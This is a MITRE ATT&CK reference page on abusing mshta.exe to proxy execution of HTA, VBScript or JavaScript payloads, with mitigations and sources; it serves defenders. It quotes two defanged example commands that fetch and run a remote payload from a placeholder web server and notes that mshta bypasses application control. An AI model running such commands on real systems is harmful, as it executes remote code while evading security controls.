MITRE ATT&CK / Techniques / T1218.005

System Binary Proxy Execution: Mshta

ID
T1218.005
Tactics
TA0005 Stealth
Sub-technique of
T1218 System Binary Proxy Execution
Platforms
Windows
Data sources
Process Creation, Network Connection Creation, File Creation
Source
attack.mitre.org
MITRE last modified
12 May 2026

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [2] [3] [4] [5] [6]

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. [7] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [8]

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. [9]

Detection

Mitigations (2)

M1038 Execution Prevention

Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.[1]

M1042 Disable or Remove Feature or Program

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.

Groups (17)

Software (11)

References

  1. Microsoft WDAC
  2. Cylance Dust Storm
  3. Red Canary HTA Abuse Part Deux
  4. FireEye Attacks Leveraging HTA
  5. Airbus Security Kovter Analysis
  6. FireEye FIN7 April 2017
  7. Wikipedia HTML Application
  8. MSDN HTML Applications
  9. LOLBAS Mshta